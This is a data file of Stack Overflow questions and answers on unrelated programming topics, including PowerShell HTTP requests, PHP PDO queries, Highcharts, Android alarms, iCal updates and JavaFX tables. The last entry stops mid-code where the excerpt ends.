25142512	0	Powershell Http post request <p>Read over the stackoverflow for the answer, still can't find what causing this..</p> <p>Trying to connect and send a POST request using powershell, and getting "unable to connect to remote server" error. Tried 3 different dummy servers like <a href="http://posttestserver.com/post.php" rel="nofollow">http://posttestserver.com/post.php</a></p> <p>Script:</p> <pre><code>Get-ExecutionPolicy [string]$url = "http://posttestserver.com/post.php" function Execute-HTTPPostCommand() { param([string]$target = $null) #$username = "administrator" #$password = "mypass" $webRequest = [System.Net.WebRequest]::Create($target) $webRequest.ContentType = "text/html" $post = "abcdefg" $PostStr = [System.Text.Encoding]::UTF8.GetBytes($Post) $webrequest.ContentLength = $PostStr.Length $webRequest.ServicePoint.Expect100Continue = $false #$webRequest.Credentials = New-Object System.Net.NetworkCredential -ArgumentList $username, $password #$webRequest.PreAuthenticate = $true $webRequest.Method = "POST" try { $requestStream = $webRequest.GetRequestStream() } catch { write-host $_.Exception } $requestStream.Write($PostStr, 0,$PostStr.length) $requestStream.Close() [System.Net.WebResponse]$resp = $webRequest.GetResponse(); $rs = $resp.GetResponseStream(); [System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $rs; [string]$results = $sr.ReadToEnd(); return $results; } Execute-HTTPPostCommand $url [System.GC]::Collect() </code></pre>
10606113	0	 <p>Subtract one hour from the date/time and format <em>that</em>.</p>
1486859	0	 <pre><code>echo sprintf('-%u',abs(-123)); </code></pre> <p>or</p> <pre><code>$n = -123; echo sprintf("%s%u", $n &lt; 0 ? "-":"", abs($n)); </code></pre> <p>Though if you actually want to see the two's complement unsigned value of a negative number restricted to 32 bits just do:</p> <pre><code>echo sprintf("%u", $n &amp; 0xffffffff); </code></pre> <p>And that will print <code>4294967173</code> on all systems.</p>
673607	0	 <p>According to the <a href="http://msdn.microsoft.com/en-us/library/aa260631(SQL.80).aspx" rel="nofollow noreferrer">documentation</a>, the Transact-SQL <strong>timestamp</strong> data type is just an incrementing number and does not preserve a date or a time. You can't convert that to a meaningful <code>DateTime</code> value.</p> <p>The documentation says that it's an 8-byte value. So, if it's stored in a <code>System.Data.Linq.Binary</code>, you could convert it to a <code>long</code> with this code:</p> <pre><code>System.Data.Linq.Binary timestampValue; // Somehow get a reference to the SQL timestamp you're interested in // Use BitConverter to convert the 8 bytes to a long long timestampLong = BitConverter.ToInt64(timestampValue.ToArray(), 0); </code></pre> <p>You could try to convert that value to a <code>DateTime</code> by calling the constructor that takes a <code>ticks</code> value, but the results would be meaningless. You might also encounter an exception if the <code>ticks</code> value is out of range.</p>
34860032	0	HighCharts - Horizontal line with the zoomed average of the values <p>I need to display the average of the values of my 2 datasets, but with a specific characteristic: when the users zoom the chart, the average line is recalculated ONLY with the values of the zoomed area. How is this done?</p> <p>Here is my JS:</p> <pre><code>$(function () { $('#container').highcharts({ chart: { type: 'scatter', zoomType: 'xy' }, title: { text: 'Test' }, subtitle: { text: '' }, xAxis: { type: 'datetime', title: { enabled: true, text: 'Date' }, startOnTick: true, endOnTick: true, showLastLabel: true }, yAxis: { title: { text: '' } }, legend: { layout: 'vertical', align: 'left', verticalAlign: 'top', x: 100, y: 70, floating: true, backgroundColor: (Highcharts.theme &amp;&amp; Highcharts.theme.legendBackgroundColor) || '#FFFFFF', borderWidth: 1 }, plotOptions: { scatter: { marker: { radius: 5, states: { hover: { enabled: true, lineColor: 'rgb(100,100,100)' } } }, states: { hover: { marker: { enabled: false } } }, tooltip: { headerFormat: '&lt;b&gt;{series.name}&lt;/b&gt;&lt;br&gt;', pointFormat: '{point.x} date, {point.y} dose' } } }, series: [{ name: 'ag', color: 'rgba(223, 83, 83, .5)', data: [[1426719600000,0.9659],[1426719600000,0.8928],[1445205600000,1.6428],[1445205600000,1.4711],[1445205600000,1.4209],[1445205600000,1.9574],[1445205600000,1.1226],[1445205600000,0.8159],[1445205600000,1.0114],[1445205600000,0.9168],[1445464800000,1.175],[1445464800000,1.2219],[1445464800000,1.2641],[1445464800000,1.3006],[1445464800000,0.9375],[1445464800000,0.8966],[1445464800000,0.9374],[1445464800000,1.0811]] }, { name: 'cf', color: 'rgba(119, 152, 191, .5)', data: [[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.015],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.265],[1445378400000,2.015],[1445378400000,2.015],[1445378400000,2.015],[1445464800000,1.2254],[1445464800000,1.1065],[1445464800000,1.3482],[1445464800000,1.3015],[1445292000000,1.2297]] }] }); }); </code></pre> <p>Thanks in advance!</p>
40049973	0	htaccess add index.php to the route with more paths after it <p>I am building a REST using framework. Normally I can call my web services by going to this route</p> <blockquote> <p><a href="https://www.domainname.com/webservices/index.php/something/else/here" rel="nofollow">https://www.domainname.com/webservices/index.php/something/else/here</a></p> </blockquote> <p>Now I want to be able to hide index.php but still call the same route like this</p> <blockquote> <p><a href="https://www.domainname.com/webservices/something/else/here" rel="nofollow">https://www.domainname.com/webservices/something/else/here</a></p> </blockquote> <p>Currently I am able to get 200-OK from only going up to webservices/</p> <p>using the following htaccess rewrite:</p> <blockquote> <p>RewriteRule ^webservices/(.*)/$ webservices/index.php/$1 [R,L]</p> </blockquote> <p>however, everything after the webservices/ will give me a 404 not found</p> <p>here is an example.</p> <ul> <li>webservices/ ---200-OK (I see the page of webservices/index.php</li> <li>webservices/something ---404 not found</li> <li>webservices/some/thing ---404 not found</li> </ul> <p>I guess the biggest question is how do I add the paths after I add the index.php (the level of paths should be dynamic)</p> <p>P.S. I don't want to display index.php in the URL at all</p>
3748451	0	Quick Question About IIS 7 Asp.Net Setup <p>I have been trying to configure a small website on a Windows Server 2008 running IIS 7. Unfortunately, when trying to load the website I keep getting the error: <em>Server Error 401 - Unauthorized: Access is denied due to invalid credentials.</em></p> <p>The permissions on the website folder include <code>read</code>, <code>write</code>, and <code>execute</code> for user <code>ASP.NET v4.0</code>. I even clicked "Check names" before adding the user to folder, to make sure that I spelled everything correctly. But the error continues to show. Also, I noticed that everything works okay if I add "Users" to the permissions for the folders containing the website, but I don't see why this should be necessary. I only want to give <code>ASP.NET v4.0</code> access to the folder.</p> <p>Some other noteworthy points include that I'm using the <code>ASP.NET v4.0</code> application pool, that the managed pipeline is integrated, and that load user profile is set to true.</p> <p>If anyone has any ideas, I'd appreciated the help. I'm stumped!</p> <p>EDIT: Does it matter that the website is on the d: drive? I just assumed this wasn't important...</p>
36316094	0	Encode/Decode (Encrypt/Decrypt) datetime var in vb6 <p>I want to encode a datetime var into a 8-byte alphanumeric string that can be decoded later. I don't need too much security.</p> <pre><code>201603301639 -&gt; X5AHY6J9 </code></pre> <p>and viceversa.</p>
16316127	0	 <p>A global variable declared outside function cannot be accessed inside the function try declaring global iinside the function itself.</p> <p>Change it to this</p> <pre><code>function kit($name) { global $foo; if($foo == $name){echo 'Works';}else{echo 'Does not work';} } </code></pre>
20611140	0	Use object from DLL instead of WebProxy in amsx web service <p>I have a solution with two projects in VS2012. One is an old ASMX web service project and one is a DLL project called Utils.</p> <p>The Web Service project makes alot of use of the Utils project and the idea is that this DLL will also be shipped to clients because they will need functionality from it as well.</p> <p>So a <code>WebMethod</code> in the Web Service project looks like this:</p> <pre><code>using Utils; [WebMethod] [XmlType(Namespace = "http://url/invoice")] public void CheckInvoice(CToken token) { ... } </code></pre> <p>So in this example the Web Method <code>CheckInvoice</code> expects an instance of class <code>CToken</code>, which is in the <code>Utils</code> namespace.</p> <p>But when i generate the proxy class of the Web Service, then the exposed method <code>CheckInvoice</code> expects a <code>CToken</code> instance from the <code>ServiceProxy</code> namespace instead of the <code>Utils</code> namespace.</p> <p>But the clients also have the <code>Utils</code> DLL. So how can i force generation of the proxy to use the <code>CToken</code> class from the <code>Utils</code> namespace and not from the (default) ServiceProxy namespace?</p> <p>--</p> <p>When i add the <code>Service Reference</code> then i checked the <strong><em>Reuse types in referenced assemblies</em></strong> checkbox and also <strong><em>Reuse types in all referenced assemblies</em></strong>. But this doesn't make any difference. Maybe this only works for WCF web services? I'm looking for a solution for ASMX web services.</p> <p>Anyone any idea how to solve this problem?</p>
20979364	0	 <p>Try to change:</p> <pre><code>$stmt-&gt;bindParam(':username', $username, ':password', $password); </code></pre> <p>to:</p> <pre><code>$sth-&gt;bindParam(':username', $username, PDO::PARAM_STR); $sth-&gt;bindParam(':password', $password, PDO::PARAM_STR); </code></pre> <p>I have tried again to edit your code, you don't need to use global variable, because you instantiate the PDO class directly and use it on the fly. </p> <pre><code>try { $pdo = new PDO('mysql:host=localhost;dbname=redgrace_staxapp', 'root', ''); $pdo-&gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION ); } catch (PDOException $e) { die('MySQL connection fail! ' . $e-&gt;getMessage()); } function delete_user($username, $password) { if (username_exists($username)) return TRUE; $query = "DELETE FROM users WHERE username = :username and password = :password"; $stmt = $pdo-&gt;prepare($query); $stmt-&gt;bindParam(':username', $username, PDO::PARAM_STR); $stmt-&gt;bindParam(':password', $password, PDO::PARAM_STR); $stmt-&gt;execute(); } </code></pre>
7772431	0	 <p>How about</p> <pre><code>(!!!) :: [a] -&gt; Int -&gt; Maybe a xs !!! n = Maybe.listToMaybe $ drop n xs </code></pre>
36466602	0	when button click to activated mouse scroll in android <p>After button click to mouse scroll to be activted,then scroll up to value increment and scroll down to value decrement.Button inside code here not working, my sample code here,please analysis code to help me.</p> <pre><code>enter code here public class MainActivity extends Activity { Button button; int x,f; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); button=(Button)findViewById(R.id.button1); button.setOnTouchListener(new OnTouchListener() { @SuppressLint("NewApi") @Override public boolean onTouch(View arg0, MotionEvent event) { switch (event.getAction()) { case MotionEvent.ACTION_SCROLL: if (event.getAxisValue(MotionEvent.AXIS_VSCROLL) &lt; 0.0f) //selectNext(); { x=Integer.parseInt(button.getText().toString()); f=x+5; button.setText(""+f); } else { x=Integer.parseInt(button.getText().toString()); f=x-5; button.setText(""+f); return true; } } return false; } }); </code></pre> <p>} </p>
9949696	0	Fetching only few attributes of a document in couchdb <p>I have a site where I have documents that are around 1MB in size. To avoid any kind of conceptual joins I have put all related data in a single document. </p> <p>Now I often need to fetch only one or two attributes of a document. Each document has over 10 attributes many of which are pretty large. I can not go on writing views for every single combination of the attributes. </p> <p>How should I do it ? The only way I see is creating views on the fly and then using those views. OR is there any better method ? </p>
402892	0	 <p>I don't think it's necessary in most web-pages. If you're entering information, and you enter it wrong, then you'll need to go through every wrong text-box and re-enter it. The reset button is, at minimum, one extra button click on top of that.</p> <p>If you don't want to enter information, you just don't click the submit button. </p> <p>The only time I see a reset button being useful is if you have a multi-page workflow, and need to be able to start from scratch. Even then I would suggest re-designing the workflow.</p>
24325114	0	 <p><a href="http://guides.rubyonrails.org/active_record_validations.html#conditional-validation" rel="nofollow"><strong>Conditional Validations</strong></a></p> <p>Was going to suggest you use some sort of <a href="http://guides.rubyonrails.org/active_record_validations.html" rel="nofollow">conditional validations</a>, as follows (then I read the comments):</p> <pre><code>#app/models/consumer.rb class Consumer &lt; ActiveRecord::Base ... validates :password_confirmation, presence: {message: "Retype password!"}, if: Proc.new {|a| a.password.present? } end </code></pre> <p>This is the best I can provide for your particular situation - I've not created a <code>password</code> signup / authentication procedure myself (always relied on other classes), so if you wanted to use <code>has_secure_password</code> etc - I'll have to update my answer to help</p>
30197400	0	 <p>A static site has 3 components: </p> <ol> <li>HTML files (or other content to serve via the web, like .txt files)</li> <li>referenced assets (js, images, css)</li> <li>a web server</li> </ol> <p>There is no database from which data is retrieved, compared to something like wordpress where all of your posts and pages live in a database. There is no server-side scripting engine with which to process information and render content.</p> <p>Static site generators exist to provide you with tools like templating, shared data, and custom tags to assist in the creation of the static HTML pages that your web server will be serving.</p> <p>The benefits of a static site are:</p> <ul> <li>Security. The web server is the only moving part.</li> <li>Portability. The HTML files will render the same when served from your local machine as they will on the web.</li> <li>Speed. When almost everything is cacheable, compressed, and doesn't require any data crunching, things load very fast.</li> </ul>
4252065	0	If I'm trying to learn OpenGL ES 2.x, is an OpenGL 3.0 book suitable? <p>I've been doing about an hour of research on this, coming from zero graphics experience. The official website says that OpenGL ES 2.x is defined relative to OpenGL 2.0. However, I've read that a major difference between 2.0/3.0 is the deprecation of the fixed-function pipeline (no idea what that is at this point), and that ES 2.x doesn't have a fixed-function pipeline. These last details are what's confusing me.</p> <p>The reason I'm asking is because I'm considering buying the <a href="http://rads.stackoverflow.com/amzn/click/0321712617" rel="nofollow">OpenGL Superbible 5th Edition</a>. According to the author and some Amazon reviewers, this book is heavily biased towards OpenGL 3.0, and it's actually recommended to get earlier editions for OpenGL 2.0. Considering that I'm mainly interested in ES, which OpenGL version is most relevant, 2.0 or 3.0?</p> <p>Also, if for some reason I decide to go with ES 1.1, I'm assuming a 2.0 book is the right choice?</p>
17428887	0	Set multiple alarms using sqlite database but only one alarm remaining <p>I set multiple alarms using SQLite, but when I set the clock, there is just one alarm that is the last one I set. How can I fix this?</p> <pre><code>public class alert extends Activity{ DatePicker pickerDate; TimePicker pickerTime; Button buttonSetAlarm; Button insertButton;`enter code here` TextView info; Context mContext; AlarmManager mAlarmManager; dalAlarm dbAlarm ; SQLiteOpenHelper dbHelper; SQLiteDatabase database; final static int RQS_1 = 0; dalAlarm dalAl = new dalAlarm(this); public void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); setContentView(R.layout.alertscreen); info = (TextView)findViewById(R.id.info); pickerDate = (DatePicker)findViewById(R.id.pickerdate); pickerTime = (TimePicker)findViewById(R.id.pickertime); Calendar now = Calendar.getInstance(); pickerDate.init( now.get(Calendar.YEAR), now.get(Calendar.MONTH), now.get(Calendar.DAY_OF_MONTH), null); pickerTime.setCurrentHour(now.get(Calendar.HOUR_OF_DAY)); pickerTime.setCurrentMinute(now.get(Calendar.MINUTE)); buttonSetAlarm = (Button)findViewById(R.id.setalarm); buttonSetAlarm.setOnClickListener(new OnClickListener(){ @Override public void onClick(View arg0) { Calendar current = Calendar.getInstance(); Calendar cal = Calendar.getInstance(); cal.set(pickerDate.getYear(), pickerDate.getMonth(), pickerDate.getDayOfMonth(), pickerTime.getCurrentHour(), pickerTime.getCurrentMinute(), 00); //dbAlarm.addNewAlarm(new dalHelper_alarm(pickerTime.getCurrentHour(),pickerTime.getCurrentMinute(),cal.getTime().toString())); if(cal.compareTo(current) &lt;= 0){ Toast.makeText(getApplicationContext(), "Invalid Date/Time", Toast.LENGTH_LONG).show(); }else{ // dbAlarm.addNewAlarm(new dalHelper_alarm(pickerTime.getCurrentHour(),pickerTime.getCurrentMinute(),cal.getTime().toString())); setAlarm(cal); database(); } } }); } public void setAlarm(Calendar targetCal) { info.setText("\n\n***\n" + "Alarm is set@ " + targetCal.getTime() + "\n" + "***\n"); dalAlarm db = new dalAlarm(alert.this); dalHelper_alarm test = new dalHelper_alarm(pickerTime.getCurrentHour(),pickerTime.getCurrentMinute(),targetCal.getTime().toString()); db.addNewAlarm(test); } public void newAlarm(Calendar newCal){ Intent intent = new Intent(getBaseContext(), popUp.class); PendingIntent pendingIntent = PendingIntent.getActivity(getBaseContext(), 0, intent, PendingIntent.FLAG_ONE_SHOT); AlarmManager alarmManager = (AlarmManager)getSystemService(Context.ALARM_SERVICE); alarmManager.set(AlarmManager.RTC_WAKEUP, newCal.getTimeInMillis(), pendingIntent); } public void database(){ ArrayList&lt;dalHelper_alarm&gt; alarm = dalAl.getAllAlarm(); Calendar newCal = Calendar.getInstance(); newCal.set(pickerDate.getYear(), pickerDate.getMonth(), pickerDate.getDayOfMonth(), alarm.get(0).getHour(), alarm.get(0).getMin(), 00); info.setText("\n\n*** \n" + "Alarm is set@ " + newCal.getTime() + "\n" + "***\n"); newAlarm(newCal); } } </code></pre>
3682545	0	 <p>I followed that steps that pygorex1 posted but also replaced lines 191-195 in the <code>Select.php</code> file, because I was still getting another similar error about the <code>getPrice()</code>. I have Magento ver. 1.3.2.4. </p> <p>Original code from lines 191-195: </p> <pre><code>$result = $this-&gt;_getChargableOptionPrice( $option-&gt;getValueById($optionValue)-&gt;getPrice(), $option-&gt;getValueById($optionValue)-&gt;getPriceType() == 'percent', $basePrice ); </code></pre> <p>Here is the code I created to replace lines 191-195: </p> <pre><code>$z= $option-&gt;getValueById($optionValue); $result = is_object($z) ? $z -&gt;getPrice() : null; $zz = $option-&gt;getValueById($optionValue); $result = is_object($zz) ? $zz -&gt;getPriceType() == 'percent' : $basePrice; </code></pre> <p>FYI - I am NOT a PHP programmer. I just happened to figure out how to rework the code to make fix this problem based on pygorex1's code. So, there is a good chance I didn't write it correctly. However, it did fix the problem for me (which I am rather proud of :)</p>
9053635	0	 <p>The environment listed in the question compiles fine.</p>
16528284	0	Karma + Rails: File structure? <p>When using the <em>karma</em> javascript test library (née Testacular) together with Rails, where should test files and mocked data go be placed?</p> <p>It seems weird to have them in /assets/ because we don’t actually want to serve them to users. (But I guess if they are simply never precompiled, then that’s not an actual problem, right?)</p>
14067583	0	 <p>That's not as simple as you might think.</p> <p>The canvas doesn't actually "store" the text, it's just a grid of pixels. It's not aware of elements drawn on the canvas or anything. As such, the canvas can't "hyperlink" a text element.</p> <p>One of the options would be to add a <code>click</code> event listener to the canvas, get the <code>x/y</code> of the event, and if you hit the text, redirect to the url. To do this you would need to keep track of the text's position (rotation?) and size, manually.</p> <p>Another, possibly easier option, would be to simply add a element on top of the image that contains the text. Then, you can simply add a hyperlink.</p> <p><strong><a href="http://jsbin.com/udukim/1/edit" rel="nofollow">Working example of a link overlaying the canvas</a></strong></p>
3317881	0	How to blur 3d object? (Papervision 3d) <p>How to blur 3d object? (Papervision 3d) And save created new object as new 3d model? (can help in sky/clouds generation)</p> <p>Like in 2d picture I've turn rectangel intu some blury structure</p> <p><img src="http://superior0.narod.ru/blur2d.jpg" alt="alt text"></p>
27669001	0	How can I iterate through a function with for loop? <p>I want to pass the 'y' variable to okayid but there seems to be a problem with the looping. The loop works fine with the first call of 'y' on okay.item(y) but it is not looping through okayid.item(y). It seemed to me like it was a scope problem but I am not sure.</p> <pre><code>var okay = document.getElementsByClassName("Okay"); var okayid = document.getElementsByClassName("OkayID"); var numberOkays = okay.length; for(y = 0; y &lt;= numberOkays; y++){ okay.item(y).onclick = function(){ xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200){ alert('vote Sent to picture with id = ' + okayid.item(y).innerHTML); } }; xmlhttp.open("GET", "ajax/vote.php", true); xmlhttp.send(); }; } </code></pre> <p>Here is the html ...</p> <pre><code>&lt;a class="Link1A Okay" href="#"&gt;&lt;span class="OkayID"&gt;[id]&lt;/span&gt;&lt;div class="Vote1A"&gt;Okay&lt;/div&gt;&lt;/a&gt; </code></pre>
26350839	0	 <p>my bad. The problem was in this.</p> <pre><code>UInt32 keySize = 32; </code></pre> <p>Changed it to</p> <pre><code>UInt32 keySize = 256; </code></pre> <p>and evrything is good</p>
36411804	1	this constructor takes no arguments: python <pre><code>import random import sys import os class Animal : __name="" __height=0 __weight=0 __sound=0 def __init__(self, name, height, weight, sound): self.__name=name self.__height=height self.__weight=weight self.__sound=sound def set_name(self,name): self.__name =name def get_name(self): return self.__name def set_height(self,height): self.__height =height def get_height(self): return str(self.__height) def set_weight(self,weight): self.__weight =weight def get_weight(self): return str(self.__weight) def set_sound(self,sound): self.__sound =sound def get_sound(self): return self.__sound def get_type(self): print("Animal") def toString(self): return"{} is {} cm tall and {} kilograms and say{}".format(self.__name, self.__height,self.__weight,self.__sound) cat = Animal('ruby',33,10,'meow') print(cat.toString()) </code></pre> <p>Error message:</p> <pre><code>Traceback (most recent call last): File "python", line 37, in &lt;module&gt; TypeError: this constructor takes no arguments </code></pre>
17133315	0	 <p>Even though there are some basic constructs java, that are replaced by a portion of java like String concatenation where</p> <pre><code>"Colour: " + this.getColour() </code></pre> <p>means</p> <pre><code>new StringBuilder(new String(new char[] {'C', 'o'..., ' '}).intern()).append(this.getColour()); </code></pre> <p>However, I don't think this applies to any keyword. Neither super, nor this, throws, extends, and so on can be impleted by other java expressions. They build up the base of the language and are not just syntactic sugar to work efficiently with this language. Thus they build by byte codes and other basic constrcts.</p>
21274132	0	Produce an iCal appointment and subsequent updates via email but don't offer accept/decline options <p>We are writing a system that has a booking feature, and we are planning to have it send *.ics files via email to attendees so they can easily add appointments to their calendars. The types of events are things like training courses (e.g. 3pm in the boardroom).</p> <p>We've got this working to the point that the system sends the *.ics, and using Gmail and Outlook, the user can accept the appointment which, is then added to their calendar.</p> <p>Sometimes an event changes (e.g. a course is cancelled or delayed until the following day). Our software can send out a new *.ics file, and Gmail/Outlook correctly recognize that this is an update to the original appointment and gives the option to accept/decline again.</p> <p>The trouble is, we don't have a mechanism to receive via email the accept/decline responses that standard email clients automatically send when the user accepts/declines an appointment. Therefore, clicking the "decline" option could give them the false sense that they have cancelled the appointment when in fact our system has no idea what they've done within their calendar.</p> <p>We always want the bookings to be instigated by the user directly on the website, and the *.ics via email is merely a convenience to help them remember to attend. Similar to a flight booking, if the passenger really intends to cancel, something a little more definitive is required than clicking "decline" in Outlook. With a few flight bookings I've made, the carrier sent me a *.vcs file which contains "METHOD:PUBLISH" instead of "METHOD:REQUEST" which sounds closer to what we want, although in testing, this *.vcs file was not recognized by GMail as an appointment.</p> <p>So the question is, can we email appointments, with subsequent updates, that will be automatically be recognized by Outlook, GMail &amp; Lotus Notes, but prevent the user from thinking they can cancel/decline the entire booking from within their own calendar tool? If so, how?</p> <p><strong>UPDATE 1</strong></p> <p>I think I found the issue with the METHOD:PUBLISH airline booking example I was experimenting with - it was for a past date. Using a future date, We can now use METHOD:PUBLISH to allow people to add events to their calendar without requiring accept/decline. Problem now is that if the event is cancelled or changed, we cannot get a new *.ics to be recognized as overriding the original. We are allocating a unique UID and incrementing the SEQUENCE field to the event, but I don't know whether the spec allows a "PUBLISH"-ed event to elegantly handle updates (date, time, location, description etc.)</p> <p><strong>UPDATE 2</strong></p> <p>Okay, well I've just been experimenting with the sample *.ics files from the <a href="http://tools.ietf.org/html/rfc5546" rel="nofollow">spec</a>. Using the examples from 4.1.1 "A Minimal Published Event" and 4.1.2 "Changing a Published Event" I am sending what I believe is a spec-compliant published event, and subsequent update. Both Outlook 2010 and GMail see the update as a NEW EVENT. So at this point I'm going to assume Outlook and GMail have only partial support for *.ics files, give up on elegant updates and simply instruct the user to delete their old calendar appointment if I send them a new one.</p>
10511588	0	Extjs store find all <p>Documentation of <code>Ext.data.Store</code> find method says: </p> <blockquote> <p>Finds the index of the first matching Record in this store by a specific field value.</p> </blockquote> <p>My question is how can I find indexes of all matching records in this store?</p>
33447417	0	 <p>A macro definition cannot include preprocessor directives (anything beginning with a <code>#</code>).</p> <p>To conditionally expand to certain values requires rather involved macrology and might not always work out the way you want. The example above could be written something like this:</p> <pre><code>#define ONE_OR_TWO(...) ONE_OR_TWO_(__VA_ARGS__, 2, 1,) #define ONE_OR_TWO_(_1, _2, X, ...) X #define CAT(A, B) CAT_(A, B) #define CAT_(A, B) A ## B #define M(N) CAT(IF_, ONE_OR_TWO(CAT(IS_, N)))({\ code; \ code; \ }, N) #define IS_5 , #define IF_1(A, B) B #define IF_2(A, B) A M(5); //-&gt; { code; code; } M(8); //-&gt; 8 </code></pre> <p>This is incredibly fragile though. You can only use certain types of expression as the argument to <code>M</code>, for instance - they have to have a syntactic structure that allows for concatenation, and no unwrapped commas - and it only works for predetermined values (e.g. to compare against something more complicated than a simple number is not possible with this method, because you can't build a macro name out of a more complex expression).</p> <p>But in principle, it can be done. You just need thousands upon thousands of lines of macro definitions to cover a useful set of cases beyond the trivial ones like this. You can get those by using a metaprogramming library like <a href="https://github.com/VesaKarvonen/order-pp">Order-PP</a> or <a href="http://www.boost.org/doc/libs/1_59_0/libs/preprocessor/doc/index.html">Boost.Preprocessor</a>, but be prepared for obscure error messages if you slip up in the syntax even slightly.</p>
28470877	0	 <p>This should work for you:</p> <p>(Here i just simply go trough each innerArray with <a href="http://php.net/manual/en/control-structures.foreach.php" rel="nofollow">foreach</a>. Then i get the id from the innerArray and check if it is already in the tmp array and if not i add it to the tmp array. At the end i just simply use <a href="http://php.net/manual/en/function.array-values.php" rel="nofollow"><code>array_values()</code></a>, so that the indexes are clean and starts with 0. The <a href="http://php.net/manual/en/function.array-reverse.php" rel="nofollow"><code>array_reverse()</code></a> is to get the entire arrray in the right order)</p> <pre><code>&lt;?php $a = array( array('id'=&gt;1, 'value'=&gt;2), array('id'=&gt;2, 'value'=&gt;3), array('id'=&gt;3, 'value'=&gt;4), array('id'=&gt;1, 'value'=&gt;5), array('id'=&gt;5, 'value'=&gt;10), array('id'=&gt;2, 'value'=&gt;6), ); $tmp = array(); foreach(array_reverse($a) as $v) { $id = $v['id']; isset($tmp[$id]) or $tmp[$id] = $v; } $a = array_reverse(array_values($tmp)); print_r($a); ?&gt; </code></pre> <p>Output:</p> <pre><code>Array ( [0] =&gt; Array ( [id] =&gt; 3 [value] =&gt; 4 ) [1] =&gt; Array ( [id] =&gt; 1 [value] =&gt; 5 ) [2] =&gt; Array ( [id] =&gt; 5 [value] =&gt; 10 ) [3] =&gt; Array ( [id] =&gt; 2 [value] =&gt; 6 ) ) </code></pre>
10052374	0	 <p>Take the substring from the place where DS occurs using the function substr, and get the data out of it. To get the data, just parse the substring keeping a count of opening brackets. When the closing brackets start, keep a count of them. When this count and previous count become equal, you have got your data. </p>
33929587	0	 <p>If you had the some problem as I, it's very simple. When you to go save the preferences, save like:</p> <pre><code>SharedPreferences sp = getSharedPrefenreces("Preference",MODE_PRIVATE); </code></pre> <p>And no:</p> <pre><code> SharedPreferences sp = getSharedPrefenreces("Preference's name",Context.MODE_PRIVATE); </code></pre> <p>I know how so much is important the SharedPrefenrences in some cases.</p>
3362117	0	 <p>Try to access it via the console application with no development tools installed (aka, a live environment or a development server which do not have VS2008 installed) and try again (RE: the comment posted by Heinzi). </p> <p>If you still can then check to see if your web app is running under the correct .NET framework version (and that it's installed on the server).</p> <p>Since this appears not to be an ISAPI DLL requiring 32-bit application to be switched on, but a C# Web App. My money is there is something wrong with the web app deployment on the server and not the DLL itself.</p> <p>Also remember, if the DLL is not .NET, you need to register it on the server using regsrv32 before you can access it with your web app anyway.</p> <p>Hope I helped.</p> <p><em>edit</em></p> <p>If all other attempts fail, try to re-compile the DLL you're using setting the target to X86 on the compiler and re-reference it in your web app.</p>
32400941	0	Cannot make filter on rich:datatable <p>I am working on a project and there are some parts which I have not developed. Right now I have to set a filter on a table, as we use rich faces, I wanted to use the filter as in the example from <a href="http://livedemo.exadel.com/richfaces-demo/richfaces/filteringFeature.jsf?c=filtering" rel="nofollow">exadel</a>.</p> <p>However it doesn't work, I know it may be due to the <code>filterValue</code> property, because I am not sure if I am pointing to the proper bean. Everything looks good but the filter is not there.</p> <p>Any suggestions? How can I get to know what is the proper bean? This contains only the column that I want to filter.</p> <pre><code>&lt;rich:dataTable var="_project" value="#{projectController.showDeactivateEmployees? projects : projectController.getViewableProjects(projects)}" rendered="#{not empty projectController.getViewableProjects(projects)}" styleClass="simpletablestyle" sortMode="single"&gt; &lt;rich:column filterBy="#{_project.name}" filterValue="#{project.name}"&gt; &lt;f:facet name="header"&gt;#{msg.common_Name}&lt;/f:facet&gt; &lt;h:outputText value="#{_project.name}" style="color:#{_project.usedHours * 100 / _project.maxHours &amp;gt;= 75 and _project.maxHours!=0? '#d20f19' : '#000000'};"&gt; &lt;/h:outputText&gt; &lt;/rich:column&gt; &lt;rich:datatable/&gt; </code></pre>
16023713	0	 <p>Have you thought about bucketing by problem and stream processing the input data?</p> <p>A sample approach of this type would be:</p> <pre><code>for event in new_events: # new events to be written from the RESTful service for test in tests: # known tests you need to perform increment/decrement &lt;test.bucket&gt;.&lt;sensor&gt;.&lt;valueX&gt; # update the bucket as necessary # e.g. seconds_since_changed.sensor1.value3 += 1 # additionally, save each record to a standard database for long-term purposes # and to be able to rebuild/redo tests as necessary. </code></pre> <p>The ideal storage mechanism for such a transaction stream is one that lends itself well to low-latency writes/updates. NoSQL solutions work very well for this sort of work (I've personally used Redis for a similar type of analysis, but you're in no ways bound to that particular solution.)</p>
35522875	0	 <p>So based on what I understand from your question, it looks like the padding around the input is being shrunken.</p> <p>Try this: </p> <pre><code>input:active { padding: 5px; } </code></pre> <p>Mess around with the padding and see if it effects the size when active.</p>
33724145	0	Can I use the OR operator or AND operator between two if..else statement? <p>Can/Should I use the OR operator or AND operator between two if..else statement?</p> <pre><code>If [statement] end if OR If [statement] end if </code></pre>
33349822	0	Problems implementing an editable TableView<ObservableList<String> <p>So I've been trying to implement a TableView where you can edit a column just by clicking on it, and then save the edit by pressing the enter key. I've taken at lot of the code from the answer in <a href="http://stackoverflow.com/questions/27900344/how-to-make-a-table-column-with-integer-datatype-editable-without-changing-it-to">this</a> thread. This is the result:</p> <pre><code>import com.sun.javafx.collections.ObservableListWrapper; import javafx.application.Application; import javafx.application.Platform; import javafx.beans.property.SimpleStringProperty; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.scene.Scene; import javafx.scene.control.TableCell; import javafx.scene.control.TableColumn; import javafx.scene.control.TableView; import javafx.scene.control.TextField; import javafx.scene.input.KeyCode; import javafx.stage.Stage; public class TestEditableTable extends Application { public void start(Stage stage) { TableView&lt;ObservableList&lt;String&gt;&gt; tableView = new TableView&lt;ObservableList&lt;String&gt;&gt;(); tableView.setEditable(true); // Some dummy data. 